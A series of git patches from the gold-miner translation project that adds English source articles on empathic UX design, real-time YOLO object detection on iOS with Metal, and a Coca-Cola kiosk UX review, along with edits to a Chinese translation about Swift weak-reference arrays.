+
+## Tips for introducing an empathic mindset in your company ##
+
+Without a mutual understanding of the benefits that an empathic design approach can bring, it can be difficult to stand up to business-driven product requirements or unvalidated assumptions about the right solutions to implement.
+
+One of the easiest ways to help others in your team or company to start thinking more empathically is to invite them to sit in on user research or user testing. Ask them to be your note taker, or simply have them observe. When a non-design team member can actually see and hear first hand a user experiencing and interacting with a product, it gives them an opportunity to develop empathy for that user and create a meaningful connection with them.
+
+Another way to help others develop more empathy for users is to share insights from user research with the whole company. Present insights in a way that allows others to see how they might translate into opportunities for innovation or priority areas of the product that need improvement.
+
+Visual representations of research findings catch people’s attention and convey insights more effectively than a page of bullet points. Clearly presented user research insights can be a powerful weapon against business-driven product requirements and assumptions held by those in roles far detached from customers.
+
+In summary, by adopting an empathic approach to the design process as designers we can make a holistic assessment of user’s needs to uncover meaningful solutions to problems and opportunities for innovation that are not always immediately apparent.
+
+Persuading colleagues outside of the design team to see user needs from an empathic viewpoint can be challenging, but by including others in user research and actively sharing research insights, you can encourage everyone to have empathy for users and achieve a greater balance between user and business needs.
+
+**Want to learn more about the research I discussed here? Check them out:**
+
+- [Empathy on the Edge: Scaling and sustaining a human-centered approach in the evolving practice of design](http://5a5f89b8e10a225a44ac-ccbed124c38c4f7a3066210c073e7d55.r9.cf1.rackcdn.com/files/pdfs/news/Empathy_on_the_Edge.pdf)  by Battarbee K, Fulton Suri J, Gibbs Howard S & IDEO, 2014
+- [A Social Business Success Story: Grameen Danone in Bangladesh](http://knowledge.essec.edu/en/sustainability/a-social-business-success-story.html)  by Renouard C, 2012
+
+>> Finally, if you want to learn more about UX, take our free 7-day [UX Design Short Course](http://info.careerfoundry.com/ux-design/free-ux-course-think-emails).
+
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 5cb142d3cb3db7aeab70c26237a04ac07c166e2a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Fri, 26 May 2017 00:11:19 +0800
Subject: [PATCH 530/638] Create object-detection-with-yolo.md

---
 TODO/object-detection-with-yolo.md | 344 +++++++++++++++++++++++++++++
 1 file changed, 344 insertions(+)
 create mode 100644 TODO/object-detection-with-yolo.md

diff --git a/TODO/object-detection-with-yolo.md b/TODO/object-detection-with-yolo.md
new file mode 100644
index 00000000000..795ecb45bc4
--- /dev/null
+++ b/TODO/object-detection-with-yolo.md
@@ -0,0 +1,344 @@
+> * 原文地址：[Real-time object detection with YOLO](http://machinethink.net/blog/object-detection-with-yolo/)
+> * 原文作者：[Matthijs Hollemans](http://machinethink.net/blog/)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# Real-time object detection with YOLO #
+
+Object detection is one of the classical problems in computer vision:
+
+**Recognize *what* the objects are inside a given image and also *where* they are in the image.**
+
+Detection is a more complex problem than classification, which can also recognize objects but doesn’t tell you exactly where the object is located in the image — and it won’t work for images that contain more than one object.
+[![](http://machinethink.net/images/yolo/ClassificationVsDetection.png) ](http://machinethink.net/images/yolo/ClassificationVsDetection@2x.png)
+
+[YOLO](https://pjreddie.com/darknet/yolo/) is a clever neural network for doing object detection in real-time.
+
+In this blog post I’ll describe what it took to get the “tiny” version of YOLOv2 running on iOS using Metal Performance Shaders.
+
+Before you continue, make sure to [watch the awesome YOLOv2 trailer](https://www.youtube.com/watch?v=VOC3huqHrss). 😎
+
+## How YOLO works ##
+
+You can take a classifier like [VGGNet](/blog/convolutional-neural-networks-on-the-iphone-with-vggnet/) or [Inception](https://github.com/hollance/Forge/tree/master/Examples/Inception) and turn it into an object detector by sliding a small window across the image. At each step you run the classifier to get a prediction of what sort of object is inside the current window. Using a sliding window gives several hundred or thousand predictions for that image, but you only keep the ones the classifier is the most certain about.
+
+This approach works but it’s obviously going to be very slow, since you need to run the classifier many times. A slightly more efficient approach is to first predict which parts of the image contain interesting information — so-called *region proposals* — and then run the classifier only on these regions. The classifier has to do less work than with the sliding windows but still gets run many times over.
+
+YOLO takes a completely different approach. It’s not a traditional classifier that is repurposed to be an object detector. YOLO actually looks at the image just once (hence its name: You Only Look Once) but in a clever way.
+
+YOLO divides up the image into a grid of 13 by 13 cells:
+
+[![The 13x13 grid](http://machinethink.net/images/yolo/Grid@2x.png)](/images/yolo/Grid@2x.png)
+
+Each of these cells is responsible for predicting 5 bounding boxes. A bounding box describes the rectangle that encloses an object.
+
+YOLO also outputs a *confidence score* that tells us how certain it is that the predicted bounding box actually encloses some object. This score doesn’t say anything about what kind of object is in the box, just if the shape of the box is any good.
+
+The predicted bounding boxes may look something like the following (the higher the confidence score, the fatter the box is drawn):
+
+[![](http://machinethink.net/images/yolo/Boxes.png)](http://machinethink.net/images/yolo/Boxes@2x.png)
+
+For each bounding box, the cell also predicts a *class*. This works just like a classifier: it gives a probability distribution over all the possible classes. The version of YOLO we’re using is trained on the [PASCAL VOC dataset](http://host.robots.ox.ac.uk/pascal/VOC/), which can detect 20 different classes such as:
+
+- bicycle
+- boat
+- car
+- cat
+- dog
+- person
+- and so on…
+
+The confidence score for the bounding box and the class prediction are combined into one final score that tells us the probability that this bounding box contains a specific type of object. For example, the big fat yellow box on the left is 85% sure it contains the object “dog”:
+
+[![The bounding boxes with their class scores](http://machinethink.net/images/yolo/Scores.png)](http://machinethink.net/images/yolo/Scores@2x.png)
+
+Since there are 13×13 = 169 grid cells and each cell predicts 5 bounding boxes, we end up with 845 bounding boxes in total. It turns out that most of these boxes will have very low confidence scores, so we only keep the boxes whose final score is 30% or more (you can change this threshold depending on how accurate you want the detector to be).
+
+The final prediction is then:
+
+[![The final prediction](http://machinethink.net/images/yolo/Prediction.png)](http://machinethink.net/images/yolo/Prediction@2x.png)
+
+From the 845 total bounding boxes we only kept these three because they gave the best results. But note that even though there were 845 separate predictions, they were all made at the same time — the neural network just ran once. And that’s why YOLO is so powerful and fast.
+
+*(The above pictures are from [pjreddie.com](https://pjreddie.com).)*
+
+## The neural network ##
+
+The architecture of YOLO is simple, it’s just a convolutional neural network:
+
+```
+Layer         kernel  stride  output shape
+---------------------------------------------
+Input                          (416, 416, 3)
+Convolution    3×3      1      (416, 416, 16)
+MaxPooling     2×2      2      (208, 208, 16)
+Convolution    3×3      1      (208, 208, 32)
+MaxPooling     2×2      2      (104, 104, 32)
+Convolution    3×3      1      (104, 104, 64)
+MaxPooling     2×2      2      (52, 52, 64)
+Convolution    3×3      1      (52, 52, 128)
+MaxPooling     2×2      2      (26, 26, 128)
+Convolution    3×3      1      (26, 26, 256)
+MaxPooling     2×2      2      (13, 13, 256)
+Convolution    3×3      1      (13, 13, 512)
+MaxPooling     2×2      1      (13, 13, 512)
+Convolution    3×3      1      (13, 13, 1024)
+Convolution    3×3      1      (13, 13, 1024)
+Convolution    1×1      1      (13, 13, 125)
+---------------------------------------------
+
+```
+
+This neural network only uses standard layer types: convolution with a 3×3 kernel and max-pooling with a 2×2 kernel. No fancy stuff. There is no fully-connected layer in YOLOv2.
+
+**Note:** The “tiny” version of YOLO that we’ll be using has only these 9 convolutional layers and 6 pooling layers. The full YOLOv2 model uses three times as many layers and has a slightly more complex shape, but it’s still just a regular convnet.
+
+The very last convolutional layer has a 1×1 kernel and exists to reduce the data to the shape 13×13×125. This 13×13 should look familiar: that is the size of the grid that the image gets divided into.
+
+So we end up with 125 channels for every grid cell. These 125 numbers contain the data for the bounding boxes and the class predictions. Why 125? Well, each grid cell predicts 5 bounding boxes and a bounding box is described by 25 data elements:
+
+- x, y, width, height for the bounding box’s rectangle
+- the confidence score
+- the probability distribution over the 20 classes
+
+Using YOLO is simple: you give it an input image (resized to 416×416 pixels), it goes through the convolutional network in a single pass, and comes out the other end as a 13×13×125 tensor describing the bounding boxes for the grid cells. All you need to do then is compute the final scores for the bounding boxes and throw away the ones scoring lower than 30%.
+
+**Tip:** To learn more about how YOLO works and how it is trained, [check out this excellent talk](https://www.youtube.com/watch?v=NM6lrxy0bxs) by one of its inventors. This video actually describes YOLOv1, an older version of the network with a slightly different architecture, but the main ideas are still the same. Worth watching!
+
+## Converting to Metal ##
+
+The architecture I just described is for Tiny YOLO, which is the version we’ll be using in the iOS app. The full YOLOv2 network has three times as many layers and is a bit too big to run fast enough on current iPhones. Since Tiny YOLO uses fewer layers, it is faster than its big brother… but also a little less accurate.
+
+[![](http://machinethink.net/images/yolo/CatOrDog.png) ](http://machinethink.net/images/yolo/CatOrDog@2x.png)
+
+YOLO is written in Darknet, a custom deep learning framework from YOLO’s author. The downloadable weights are available only in Darknet format. Even though the [source code for Darknet is available](https://github.com/pjreddie/darknet), I wasn’t really looking forward to spending a lot of time figuring out how it works.
+
+Luckily for me, [someone else](https://github.com/allanzelener/YAD2K/) already put in that effort and converted the Darknet models to Keras, my deep learning tool of choice. So all I had to do was run this “YAD2K” script to convert the Darknet weights to Keras format, and then write my own script to convert the Keras weights to Metal.
+
+However, there was a small wrinkle… YOLO uses a regularization technique called *batch normalization* after its convolutional layers.
+
+The idea behind “batch norm” is that neural network layers work best when the data is clean. Ideally, the input to a layer has an average value of 0 and not too much variance. This should sound familiar to anyone who’s done any machine learning because we often use a technique called “feature scaling” or “whitening” on our input data to achieve this.
+
+Batch normalization does a similar kind of feature scaling for the data in between layers. This technique really helps neural networks perform better because it stops the data from deteriorating as it flows through the network.
+
+To give you some idea of the effect of batch norm, here is a histogram of the output of the first convolution layer without and with batch normalization:
+
+[![](http://machinethink.net/images/yolo/BatchNorm.png)](http://machinethink.net/images/yolo/BatchNorm@2x.png)
+
+Batch normalization is important when training a deep network, but it turns out we can get rid of it at inference time. Which is a good thing because not having to do the batch norm calculations will make our app faster. And in any case, Metal does not have an `MPSCNNBatchNormalization` layer.
+
+Batch normalization usually happens after the convolutional layer but *before* the activation function gets applied (a so-called “leaky” ReLU in the case of YOLO). Since both convolution and batch norm perform a linear transformation of the data, we can combine the batch normalization layer’s parameters with the weights for the convolution. This is called “folding” the batch norm layer into the convolution layer.
+
+Long story short, with a bit of math we can get rid of the batch normalization layers but it does mean we have to change the weights of the preceding convolution layer.
+
+A quick recap of what a convolution layer calculates: if `x` is the pixels in the input image and `w` is the weights for the layer, then the convolution basically computes the following for each output pixel:
+
+```
+out[j] = x[i]*w[0] + x[i+1]*w[1] + x[i+2]*w[2] + ... + x[i+k]*w[k] + b
+
+```
+
+This is a dot product of the input pixels with the weights of the convolution kernel, plus a bias value `b`.
+
+And here’s the calculation performed by the batch normalization to the output of that convolution:
+
+```
+        gamma * (out[j] - mean)
+bn[j] = ---------------------- + beta
+            sqrt(variance)
+
+```
+
+It subtracts the mean from the output pixel, divides by the variance, multiplies by a scaling factor gamma, and adds the offset beta. These four parameters — `mean`, `variance`, `gamma`, and `beta` — are what the batch normalization layer learns as the network is trained.
+
+To get rid of the batch normalization, we can shuffle these two equations around a bit to compute new weights and bias terms for the convolution layer:
+
+```
+           gamma * w
+w_new = --------------
+        sqrt(variance)
+
+        gamma*(b - mean)
+b_new = ---------------- + beta
+         sqrt(variance)
+
+```
+
+Performing a convolution with these new weights and bias terms on input `x` will give the same result as the original convolution plus batch normalization.
+
+Now we can remove this batch normalization layer and just use the convolutional layer, but with these adjusted weights and bias terms `w_new` and `b_new`. We repeat this procedure for all the convolutional layers in the network.
+
+**Note:** The convolution layers in YOLO don’t actually use bias, so `b` is zero in the above equation. But note that after folding the batch norm parameters, the convolution layers *do* get a bias term.
+
+Once we’ve folded all the batch norm layers into their preceding convolution layers, we can convert the weights to Metal. This is a simple matter of transposing the arrays (Keras stores them in a different order than Metal) and writing them out to binary files of 32-bit floating point numbers.
+
+If you’re curious, check out the conversion script [yolo2metal.py](https://github.com/hollance/Forge/blob/master/Examples/YOLO/yolo2metal.py) for more details. To test that the folding works the script creates a new model without batch norm but with the adjusted weights, and compares it to the predictions of the original model.
+
+## The iOS app ##
+
+Of course I used [Forge](https://github.com/hollance/Forge) to build the iOS app. 😂 You can find the code in the [YOLO](https://github.com/hollance/Forge/tree/master/Examples/YOLO) folder. To try it out: download or clone Forge, open **Forge.xcworkspace** in Xcode 8.3 or later, and run the **YOLO** target on an iPhone 6 or up.
+
+The easiest way to test the app is to point your iPhone at some [YouTube videos](https://www.youtube.com/watch?v=e_WBuBqS9h8):
+
+[![The example app](http://machinethink.net/images/yolo/App.png)](http://machinethink.net/images/yolo/App@2x.png)
+
+The interesting code is in **YOLO.swift**. First this sets up the convolutional network:
+
+```
+let leaky = MPSCNNNeuronReLU(device: device, a: 0.1)
+
+let input = Input()
+
+let output = input
+         --> Resize(width: 416, height: 416)
+         --> Convolution(kernel: (3, 3), channels: 16, padding: true, activation: leaky, name: "conv1")
+         --> MaxPooling(kernel: (2, 2), stride: (2, 2))
+         --> Convolution(kernel: (3, 3), channels: 32, padding: true, activation: leaky, name: "conv2")
+         --> MaxPooling(kernel: (2, 2), stride: (2, 2))
+         --> ...and so on...
+
+```
+
+The input from the camera gets rescaled to 416×416 pixels and then goes into the convolutional and max-pooling layers. This is very similar to how any other convnet operates.
+
+The interesting thing is what happens with the output. Recall that the output of the convnet is a 13×13×125 tensor: there are 125 channels of data for each of the cells in the grid that is overlaid on the image. These 125 numbers contain the bounding boxes and class predictions, and we need to sort these out somehow. This happens in the function `fetchResult()`.
+
+**Note:** The code in `fetchResult()` runs on the CPU, not the GPU. It was simpler to implement that way. That said, the nested loop might benefit from the parallelism of a GPU. Maybe I’ll come back to this in the future and write a GPU version.
+
+Here is how `fetchResult()` works:
+
+```
+publicfuncfetchResult(inflightIndex: Int) -> NeuralNetworkResult<Prediction> {
+  let featuresImage = model.outputImage(inflightIndex: inflightIndex)
+  let features = featuresImage.toFloatArray()
+
+```
+
+The output from the convolutional network is in the form of an `MPSImage`. We first convert this to an array of `Float` values called `features`, to make it a little easier to work with.
+
+The main body of `fetchResult()` is a huge nested loop. It looks at all of the grid cells and the five predictions for each cell:
+
+```
+for cy in0..<13 {
+    for cx in0..<13 {
+      for b in0..<5 {
+         . . .
+      }
+    }
+  }
+
+```
+
+Inside this loop we compute the bounding box `b` for grid cell `(cy, cx)`.
+
+First we read the x, y, width, and height for the bounding box from the `features` array, as well as the confidence score:
+
+```
+let channel = b*(numClasses + 5)
+let tx = features[offset(channel, cx, cy)]
+let ty = features[offset(channel + 1, cx, cy)]
+let tw = features[offset(channel + 2, cx, cy)]
+let th = features[offset(channel + 3, cx, cy)]
+let tc = features[offset(channel + 4, cx, cy)]
+
+```
+
+The `offset()` helper function is used to find the proper place in the array to read from. Metal stores its data in texture slices in groups of 4 channels at a time, which means the 125 channels are not stored consecutively but are scattered all over the place. (See the code for an in-depth explanation.)
+
+We still need to do some processing on these five numbers `tx`, `ty`, `tw`, `th`, `tc` as they are in a bit of a weird format. If you’re wondering where these formulas come from, they’re given [in the paper](https://arxiv.org/abs/1612.08242) (it’s a side effect of how the network was trained).
+
+```
+llet x = (Float(cx) + Math.sigmoid(tx)) * 32
+let y = (Float(cy) + Math.sigmoid(ty)) * 32
+
+let w = exp(tw) * anchors[2*b    ] * 32
+let h = exp(th) * anchors[2*b + 1] * 32
+
+let confidence = Math.sigmoid(tc)
+
+```
+
+Now `x` and `y` represent the center of the bounding box in the 416×416 image that we used as input to the neural network; `w` and `h` are the width and height of the box in that same image space. The confidence value for the bounding box is given by `tc` and we used the logistic sigmoid to turn this into a percentage.
+
+We now have our bounding box and we know how confident YOLO is that this box actually contains an object. Next, let’s look at the class predictions to see what kind of object YOLO thinks is inside the box:
+
+```
+var classes = [Float](repeating: 0, count: numClasses)
+forcin0..<numClasses {
+  classes[c] = features[offset(channel + 5 + c, cx, cy)]
+}
+classes = Math.softmax(classes)
+
+let (detectedClass, bestClassScore) = classes.argmax()
+
+```
+
+Recall that 20 of the channels in the `features` array contain the class predictions for this bounding box. We read those into a new array, `classes`. As is usual for classifiers, we take the softmax to turn the array into a probability distribution. And then we pick the class with the largest score as the winner.
+
+Now we can compute the final score for this bounding box — for example, “I’m 85% sure this bounding box contains a dog”. As there are 845 bounding boxes in total, we only want to keep the ones whose combined score is over a certain threshold.
+
+```
+let confidenceInClass = bestClassScore * confidence
+if confidenceInClass > 0.3 {
+  let rect = CGRect(x: CGFloat(x - w/2), y: CGFloat(y - h/2),
+                    width: CGFloat(w), height: CGFloat(h))
+
+  let prediction = Prediction(classIndex: detectedClass,
+                              score: confidenceInClass,
+                              rect: rect)
+  predictions.append(prediction)
+}
+
+```
+
+The above code is repeated for all the cells in the grid. When the loop is over, we have a `predictions` array with typically 10 to 20 predictions in it.
+
+We already filtered out any bounding boxes that have very low scores, but there still may be boxes that overlap too much with others. Therefore, the last thing we do in `fetchResult()` is a technique called *non-maximum suppression* to prune those duplicate bounding boxes.
+
+```
+var result = NeuralNetworkResult<Prediction>()
+  result.predictions = nonMaxSuppression(boxes: predictions,
+                                         limit: 10, threshold: 0.5)
+  return result
+}
+
+```
+
+The algorithm used by the `nonMaxSuppression()` function is quite simple:
+
+1. Start with the bounding box that has the highest score.
+2. Remove any remaining bounding boxes that overlap it more than the given threshold amount (i.e. more than 50%).
+3. Go to step 1 until there are no more bounding boxes left.
+
+This removes any bounding boxes that overlap too much with other boxes that have a higher score. It only keeps the best ones.
+
+And that’s pretty much all there is to it: a regular convolutional network and a  bit of postprocessing of the results afterwards.
+
+## How well does it work? ##
+
+The [YOLO website](https://pjreddie.com/darknet/yolo/) claims that Tiny YOLO can do up to 200 frames per second. But of course that is on a fat desktop GPU, not on a mobile device. So how fast does it run on an iPhone?
+
+On my iPhone 6s it takes about **0.15 seconds** to process a single image. That is only 6 FPS, barely fast enough to call it realtime. If you point the phone at a car driving by, you can see the bounding box trailing a little behind the car. Still, I’m impressed this technique works at all. 😁
+
+**Note:** As I explained above, the processing of the bounding boxes runs on the CPU, not the GPU. Would YOLO run faster if it ran on the GPU entirely? Maybe, but the CPU code takes only about 0.03 seconds, 20% of the running time. It’s possible to do at least a portion of this work on the GPU but I’m not sure it’s worth the effort given that the conv layers still eat up 80% of the time.
+
+I think a major slowdown is caused by the convolutional layers that have 512 and 1024 output channels. From my experiments it seems that `MPSCNNConvolution` has more trouble with small images that have many channels than with large images that have fewer channels.
+
+One thing I’m interested in trying is to take a different network architecture, such as SqueezeNet, and retrain this network to predict the bounding boxes in its last layer. In other words, to take the YOLO ideas and put them on top of a smaller and faster convnet. Will the increase in speed be worth the loss in accuracy?
+
+**Note:** By the way, the recently released [Caffe2](http://caffe2.ai/) framework also runs on iOS with Metal support. The [Caffe2-iOS project](https://github.com/KleinYuan/Caffe2-iOS) comes with a version of Tiny YOLO. It appears to run a little slower than the pure Metal version, at 0.17 seconds per frame.
+
+## Credits ##
+
+To learn more about YOLO, check out these papers by its inventors:
+
+- [You Only Look Once: Unified, Real-Time Object Detection](https://arxiv.org/abs/1506.02640) by Joseph Redmon, Santosh Divvala, Ross Girshick, Ali Farhadi (2015)
+- [YOLO9000: Better, Faster, Stronger](https://arxiv.org/abs/1612.08242) by Joseph Redmon and Ali Farhadi (2016)
+
+My implementation was based in part on the TensorFlow Android demo [TF Detect](https://github.com/tensorflow/tensorflow/tree/master/tensorflow/examples/android), Allan Zelener’s [YAD2K](https://github.com/allanzelener/YAD2K/), and the original [Darknet code](https://github.com/pjreddie/darknet).
+
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 273dc6ebaeacac1c44c7ba288cc6aee561269e09 Mon Sep 17 00:00:00 2001
From: zhangqippp <zhangqicode@gmail.com>
Date: Fri, 26 May 2017 11:02:01 +0800
Subject: [PATCH 531/638] =?UTF-8?q?=E6=A0=B9=E6=8D=AE=E6=A0=A1=E5=AF=B9?=
 =?UTF-8?q?=E6=84=8F=E8=A7=81=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...arrays-holding-elements-weak-references.md | 20 +++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/TODO/swift-arrays-holding-elements-weak-references.md b/TODO/swift-arrays-holding-elements-weak-references.md
index f795b607ea8..293ca325fdf 100644
--- a/TODO/swift-arrays-holding-elements-weak-references.md
+++ b/TODO/swift-arrays-holding-elements-weak-references.md
@@ -2,19 +2,19 @@
 > * 原文作者：[Marco Santarossa](https://marcosantadev.com/about-me/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[zhangqippp](https://github.com/zhangqippp)
-> * 校对者：
+> * 校对者：[ZhangRuixiang](https://github.com/ZhangRuixiang)，[Danny1451](https://github.com/Danny1451)
 
 # [对元素持有弱引用的Swift数组](https://marcosantadev.com/swift-arrays-holding-elements-weak-references/) #
 
 ![](https://marcosantadev.com/wp-content/uploads/header-1.jpg)
 
-在 iOS 开发中我们经常面临一个问题：“使用弱引用，还是不使用弱引用？”。我们来看一下如何在数组中使用弱引用。
+在 iOS 开发中我们经常面临一个问题：“用弱引用还是不用，这是一个问题。”。我们来看一下如何在数组中使用弱引用。
 
 # 概述 #
 
-*在本文中，我会谈到内存管理但是不会解释它，因为这不是本文的主题。  这里的[官方文档](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/AutomaticReferenceCounting.html)可以帮助你开始学习内存管理。 如果你有其它疑问，请留言，我会尽快给予回复。*
+*在本文中，我会谈到内存管理但是不会解释它，因为这不是本文的主题。[官方文档](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/AutomaticReferenceCounting.html)是学习内存管理的一个好的起点。如果你有其它疑问，请留言，我会尽快给予回复。*
 
-`Array` 是Swift中使用最多的集合。它会默认的对其元素持有强引用。 这种默认的行为在大多数时候都很有用，但是在某些场景下你可能想要使用弱引用。因此，苹果公司给我们提供了一个 `Array` 的替代品：**NSPointerArray**，这个类对它的元素持有弱引用。
+`Array` 是Swift中使用最多的集合。它会默认地对其元素持有强引用。 这种默认的行为在大多数时候都很有用，但是在某些场景下你可能想要使用弱引用。因此，苹果公司给我们提供了一个 `Array` 的替代品：**NSPointerArray**，这个类对它的元素持有弱引用。
 
 在开始研究这个类之前，我们先通过一个例子来了解为什么我们需要使用它。
 
@@ -184,16 +184,16 @@ class ViewManager {
 protocolMyProtocol: class{}
 ```
 
-2. 如果你想试用一下 `NSPointerArray`，我建议不要试用 Playground ，因为你可能因为引用计数问题得到一些奇怪的行为。使用一个简单的 app 会更好。
+2. 如果你想试用一下 `NSPointerArray`，我建议不要使用 Playground ，因为你可能因为引用计数问题得到一些奇怪的行为。使用一个简单的 app 会更好。
 
 # 备选方案 #
 
 `NSPointerArray` 对于存储对象和保持弱引用来说非常有用，但是它有一个问题：它不是类型安全的。 
 
-“非类型安全”，在此处的意思是编译器无法隐含 `NSPointerArray` 内部对象的类型，因为它使用的是 `AnyObject` 型对象的指针。因此，当你从数组中获取一个对象时，你需要检查它是否是你所需要的类型：
+“非类型安全”，在此处的意思是编译器无法无法推断隐含在 `NSPointerArray` 内部的对象的类型，因为它使用的是 `AnyObject` 型对象的指针。因此，当你从数组中获取一个对象时，你需要把它转成你所需要的类型：
 
 ```
-ifletfirstObject=array.object(at:0)as?MyClass{// Cast to MyClass
+if let firstObject=array.object(at:0)as?MyClass{// Cast to MyClass
 
     print("The first object is a MyClass")
 
@@ -208,7 +208,7 @@ ifletfirstObject=array.object(at:0)as?MyClass{// Cast to MyClass
 一个可行的方案是创建一个新类 `WeakRef` ，它带有一个普通的weak属性 `value`：
 
 ```
-classWeakRef<T>whereT: AnyObject{
+class WeakRef<T>whereT: AnyObject{
 
     private(set)weakvarvalue:T?
 
@@ -243,7 +243,7 @@ array.append(weakObj)
 如果你想清理数组，去除其中值为 `nil` 的对象，你可以使用下面的方法：
 
 ```
-funccompact(){
+func compact(){
 
     array=array.filter{$0.value!=nil}
 
@@ -337,7 +337,7 @@ class ViewManager {
 
 # 结论 #
 
-你可能不会经常使用持有弱引用的数组，但是你仍然可以学习如何实现它。在 iOS 开发中，内存管理是非常重要的，我们应该避免内存泄露，因为 iOS 没有垃圾回收器。 ¯\_(ツ)_/¯
+你可能不会经常使用持有弱引用的数组，但是这不是不去了解其实现原理的理由。在 iOS 开发中，内存管理是非常重要的，我们应该避免内存泄露，因为 iOS 没有垃圾回收器。 ¯\_(ツ)_/¯
 
 
 ---

From b808e92f46ab3b50bca8fa15a2a3a2bd8db5ed71 Mon Sep 17 00:00:00 2001
From: zhangqippp <zhangqicode@gmail.com>
Date: Fri, 26 May 2017 11:29:01 +0800
Subject: [PATCH 532/638] =?UTF-8?q?=E5=B0=86=E6=96=9C=E4=BD=93=E4=BF=AE?=
 =?UTF-8?q?=E6=94=B9=E4=B8=BA=E5=8A=A0=E7=B2=97?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/swift-arrays-holding-elements-weak-references.md | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/TODO/swift-arrays-holding-elements-weak-references.md b/TODO/swift-arrays-holding-elements-weak-references.md
index 293ca325fdf..1dc5cee7642 100644
--- a/TODO/swift-arrays-holding-elements-weak-references.md
+++ b/TODO/swift-arrays-holding-elements-weak-references.md
@@ -12,7 +12,7 @@
 
 # 概述 #
 
-*在本文中，我会谈到内存管理但是不会解释它，因为这不是本文的主题。[官方文档](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/AutomaticReferenceCounting.html)是学习内存管理的一个好的起点。如果你有其它疑问，请留言，我会尽快给予回复。*
+**在本文中，我会谈到内存管理但是不会解释它，因为这不是本文的主题。[官方文档](https://developer.apple.com/library/content/documentation/Swift/Conceptual/Swift_Programming_Language/AutomaticReferenceCounting.html)是学习内存管理的一个好的起点。如果你有其它疑问，请留言，我会尽快给予回复。**
 
 `Array` 是Swift中使用最多的集合。它会默认地对其元素持有强引用。 这种默认的行为在大多数时候都很有用，但是在某些场景下你可能想要使用弱引用。因此，苹果公司给我们提供了一个 `Array` 的替代品：**NSPointerArray**，这个类对它的元素持有弱引用。
 
@@ -201,7 +201,7 @@ if let firstObject=array.object(at:0)as?MyClass{// Cast to MyClass
 
 ``` 
 
-*`object(at:)` 方法来自我先前展示的 `NSPointerArray` 扩展类。*
+**`object(at:)` 方法来自我先前展示的 `NSPointerArray` 扩展类。**
 
 如果我们想使用一个类型安全的数组替代品，我们就不能使用 `NSPointerArray` 了。 
 
@@ -222,7 +222,7 @@ class WeakRef<T>whereT: AnyObject{
 ```
  
 
-*`private(set)` 方法将 `value` 设置为只读模式, 这样就无法在类的外部设置它的值了。*
+**`private(set)` 方法将 `value` 设置为只读模式, 这样就无法在类的外部设置它的值了。**
 
 然后，我们可以创建一组 `WeakRef` 对象，将你的 `MyClass` 对象储存到它们的 `value` 属性：
 
@@ -250,7 +250,7 @@ func compact(){
 }
 ```
 
-*`filter` 返回一个其中元素满足给定条件的新数组。你可以在[文档](https://developer.apple.com/reference/swift/array/1688383-filter)中获取更多的信息。*
+**`filter` 返回一个其中元素满足给定条件的新数组。你可以在[文档](https://developer.apple.com/reference/swift/array/1688383-filter)中获取更多的信息。**
 
 现在，我们可以将 “为什么要使用弱引用？” 小节中的例子重构为如下代码：
 

From c8ef7cd02e6cdafffab28b410be64ac14e77a31d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Fri, 26 May 2017 13:40:06 +0800
Subject: [PATCH 533/638] Create
 ux-review-and-redesign-of-the-cocacola-freestyle-kiosk-interface.md

---
 ...-the-cocacola-freestyle-kiosk-interface.md | 227 ++++++++++++++++++
 1 file changed, 227 insertions(+)
 create mode 100644 TODO/ux-review-and-redesign-of-the-cocacola-freestyle-kiosk-interface.md

diff --git a/TODO/ux-review-and-redesign-of-the-cocacola-freestyle-kiosk-interface.md b/TODO/ux-review-and-redesign-of-the-cocacola-freestyle-kiosk-interface.md
new file mode 100644
index 00000000000..c19f46305ef
--- /dev/null
+++ b/TODO/ux-review-and-redesign-of-the-cocacola-freestyle-kiosk-interface.md
@@ -0,0 +1,227 @@
+> * 原文地址：[UX Review and Redesign of the CocaCola Freestyle Kiosk Interface](https://medium.com/@vedantha/ux-review-and-redesign-of-the-cocacola-freestyle-kiosk-interface-f77fc087c09)
+> * 原文作者：[Ved](https://medium.com/@vedantha)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# UX Review and Redesign of the CocaCola Freestyle Kiosk Interface #
+
+![](https://cdn-images-1.medium.com/max/800/1*ZydJMy1NI8CJ2Uwc0ocewA.jpeg)
+
